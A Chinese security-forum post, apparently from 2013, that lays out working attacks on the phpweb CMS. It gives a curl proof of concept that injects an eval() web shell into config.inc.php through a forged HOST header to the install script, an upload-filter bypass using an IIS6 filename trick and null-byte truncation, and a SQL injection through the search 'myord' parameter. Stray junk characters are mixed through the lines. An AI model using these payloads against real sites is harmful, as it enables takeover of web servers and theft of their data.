找回密码
 立即注册
查看: 3364|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
5 z' B+ q  _- e. e+ O; C* k
+ v% E2 Q* j% u0 \, D4 v; s. g之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
9 C; m3 J9 D) ]* T( K! ~9 w/ S: M
2 i, n1 l3 B/ o鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件. C( J3 Y3 h1 i3 W7 G
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
  f! Y9 y  Y7 ?) J: U ' j0 u2 S+ B- E' L1 X' g: R
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响! P" h# S8 [% a! u  f
" V+ R! `9 }8 W4 {. `/ C1 J
分析:
0 {5 [# Z# s& f/ v0 D
" t& D! N/ g8 T : S5 X9 a* L) i4 s; D& }- T+ z
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
  a2 [) \. P5 K4 y/ f7 v  _ 8 M- u& \% y' Z/ S( m: R
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);1 p5 J) b% l, _- [9 x- x: c
                                            $filestr=str_replace(" ","",$filestr);
4 h/ Y6 M) E% Y5 w                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
* q: O. }" e& t& ^                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
1 J8 h3 p/ H" w& Q: ]                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);0 s  e4 n7 ]  ?: @0 ?9 g
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
/ E8 v7 _0 I) f9 a6 C% i+ h                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
6 I9 A* f  r  v& O; k  ]                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);: i2 R% x2 ^: T7 Y
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
" C2 V) e% Q( q5 o8 F4 r . l% Q. Z+ _5 g+ v8 f
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
% T( S3 f/ q8 ~& F) ~6 u3 ?+ Z$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^3 t/ \+ L, c# O0 c- h

- v4 I+ {% H% H! Apoc:0 a. i  n( O1 d( s' p/ K
& S# L- k% o" v" Z2 w7 k4 t
?
  g$ T1 y  \/ M1
* ?6 O: f6 r" D, c* Jcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
9 m- E# @0 E( T8 P7 l: X( Ushell地址: /config.inc.php
! S6 q; v, l9 |7 n跟之前的 phpcms一样 需要远程数据库# @1 s: t! P/ B5 C( F
/ q+ I- F$ m2 k3 V
——————————————————–; D$ }6 S- \  w  F4 |6 C
上传漏洞(需要进后台):
: `5 T. S; \& }1 W$ I漏洞文件: /kedit/upload_cgi/upload.php- J& i( Q- g1 A) }
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用* ~8 v; i$ [3 a; e1 u
0 L( U' u( u+ [* y9 C! c2 o
8 P3 P+ h9 P; ?2 |6 G) T  E
<?php
3 N! V; o9 A% s# i! Z& P' o    define("ROOTPATH", "../../");
! M4 h, X: H6 i4 Z    include(ROOTPATH."includes/admin.inc.php");) a9 V9 q6 `2 M  o% y$ _$ m
    NeedAuth(0);8 y8 {7 l% w4 |8 }& B

' t' _' t6 d* _; }9 B% f    $dt=date("Ymd",time());- d- ]! {% A! K! ]5 \
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
  U7 o0 T7 u* c2 Z& O            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
' V- L  t- p8 ?* p/ [" M; W2 b5 F    }
. L+ y6 C. Z" U . v/ ~1 S( ], y1 w5 i9 O
    //文件保存目录路径
: d  R4 w" n& d2 L/ {% u1 w    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';- b3 A; C6 l. Y0 ~; V- @
    echo $save_path;
1 ?; t/ x7 O3 e) e0 W, X2 G9 @    //文件保存目录URL. S' @* [4 |% {0 J: h
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';8 t% w" V/ s) b& {

4 z$ E0 _+ k3 {" x    //定义允许上传的文件扩展名
1 S. y2 ?( S9 C5 \    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
- Q3 ]$ o& @" }/ k( }
+ |. u, j1 Z$ J3 h2 a2 u    //最大文件大小
! e) s2 T- m- g) @5 K  _) n    $max_size = 1000000;4 s" o; {3 z0 {0 M
8 k9 y' S. c' H( `1 _
    //更改目录权限
4 r: h# G& \" `; g) \5 G" ^2 R    @mkdir($save_path, 0777);0 W; `* t+ \& o0 T! s( O( T. K6 m

  p0 G# G9 T! V& A: z3 v    //文件的全部路径* A! A( d/ M3 r$ Y9 k- D1 Z
    $file_path = $save_path.$_POST['fileName'];   //保存文件名3 K' D$ z) z( w& B7 m, K7 c6 q( s

7 o3 m: e% A- T; }# J' \5 t5 w    //文件URL% G0 w# \9 h4 U) H
    $file_url = $save_url.$_POST['fileName'];/ i! T2 v; \* F/ N
//有上传文件时
9 y: k. I6 b( S1 Q  R. ~& b    if (empty($_FILES) === false) {6 O! t" {# n3 P

5 M7 m" f, \7 x7 e            //原文件名
( Z+ ~8 X: E. q' N0 |7 q; U3 v! m            $file_name = $_FILES['fileData']['name'];2 s: H* t2 f: A
            //服务器上临时文件名  C7 b0 ~' c% }
            $tmp_name = $_FILES['fileData']['tmp_name'];
! U! g  @5 [. X  ]( w0 d) F% ~            //文件大小* e6 E: ~- Q! r. D2 B( z; B7 ~
            $file_size = $_FILES['fileData']['size'];
4 o9 P/ G4 ^+ D            //检查目录
5 F; L6 m4 j& y' a$ N' u            if (@is_dir($save_path) === false) {' h1 l) j; d) G- R2 T+ v
                    alert("上传目录不存在。");0 N. g. @2 F  @" A/ D# r
            }' D' j3 C" R1 u2 }8 u: C5 K+ e# M
            //检查目录写权限+ r  |5 p" q% _, ^8 M+ a/ X
            if (@is_writable($save_path) === false) {
  m& b: C$ I& _                    alert("上传目录没有写权限。");
; {3 t) A: k' h- N' q2 w. c* k/ V            }, ?2 K% T( p$ \7 p3 p
            //检查是否已上传
- b2 O4 B4 N' ~( h1 [            if (@is_uploaded_file($tmp_name) === false) {' Q, V$ {3 F- O& T6 A1 K; y. I
                    alert("临时文件可能不是上传文件。");3 c" C* Y! e3 d' D* y
            }
  m5 ~9 G5 u9 }9 G# T6 P            //检查文件大小/ t) N' h1 M# u9 I
            if ($file_size > $max_size) {( u5 W; K$ P% {9 f
                    alert("上传文件大小超过限制。");
' c# ?  K+ X8 s* F            }7 R) G. Z( M7 m' F# P+ [
            //获得文件扩展名- K. E: z. N3 f8 e2 t& g! y( x
            $temp_arr = explode(".", $_POST['fileName']);
7 }0 Q6 _. _; {+ O            $file_ext = array_pop($temp_arr);" j' a/ ~1 h! |
            $file_ext = trim($file_ext);2 i7 l. }6 _/ g: b; i
            $file_ext = strtolower($file_ext);
/ {5 X; Y! V( C! n  T+ N6 ~! \) l
% O, R( J( f5 ?, k* z            //检查扩展名   
* u+ V, l. p9 p            if (in_array($file_ext, $ext_arr) === false) {     ; p, m" j7 V# J* o, g$ `4 P& c
                    alert("上传文件扩展名是不允许的扩展名。");$ L# X+ ]: h9 |! I) e. I2 u
            }2 m- K2 L7 ~9 T1 I8 n7 |
2 Y$ T$ b8 ^) d. K; v
            //移动文件   
+ v' ]1 S9 n0 i! _            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
" g' L$ _0 {  c% {/ A, O            if (move_uploaded_file($tmp_name, $file_path) === false) {
4 Q6 L' h; v; Y5 C' K. l1 y                    alert("上传文件失败。");
" a) ~$ ?5 E. u9 E5 ~& M5 c) g* b3 X            }
3 C0 M2 x- S( S9 d9 N ( a6 s" d* o* u( b  d( U! o
            @chmod($file_path,0666);" j$ }* p* g; N( L
9 R* K/ G7 b+ j+ s, Q
    ?>3 i, E  ?( b- o0 C6 K1 I0 V* e
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
& y) y; M, c. P   O1 _9 W- z' d  F
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过7 z- @' e; X- l9 K8 c% J
& N& z: l/ w' B: @: l( r
——————————————————
2 Y. k: a0 o( g  ^* _7 k注入漏洞:
6 |7 r) v8 I( _, S2 Z9 ~漏洞文件:search/module/search.php
  t7 T# Q+ [% E" b/search/index.php?key=1&myord=1 [sqlinjection]
7 V2 e- f. y& _$ d 0 g6 ~5 Q0 b% p0 q5 M! L

' ?$ W  @' e6 s/ n" l3 b<?php/ Q3 [0 W5 e. F8 e
   //       ... 省略 n 行...
$ S' B( U0 l/ O: U, F   //第18行:
( e) }, ~2 L/ m& L0 K) C( s" q           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响' P$ E% @' t5 E
           $page=htmlspecialchars($_GET["page"]);2 a7 u8 U! ]! l% z% d6 {1 j, p
           $myord=htmlspecialchars($_GET["myord"]);, s1 t" k, |) ~/ }( U

! T! w' M! D3 r5 i0 |   //       ... 省略 n 行...( U7 N" L/ X4 |* U) }/ V- z& F; R
   $key,$myord 两个参数带入查询
: @) l  J6 [+ ?6 \   //第47行 $key:
, a3 u6 b: ?6 u. U, D, O; E0 g + ^% H" G7 k; @+ ~" T/ Z9 Z7 D
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
/ w2 j% Q! S( o' K3 U  ~ & Z3 w2 O: U" Q) r1 h) ]5 u9 {
   //第197行 $myord# n" i4 R; O' C% B2 G* u
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
7 F" U+ P3 h. v) D% v" z% \& j( @& C1 e 0 ~1 b1 z: c3 K) n6 k0 p
   ?>" h' Y9 Y0 [1 K0 J( O, m% w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表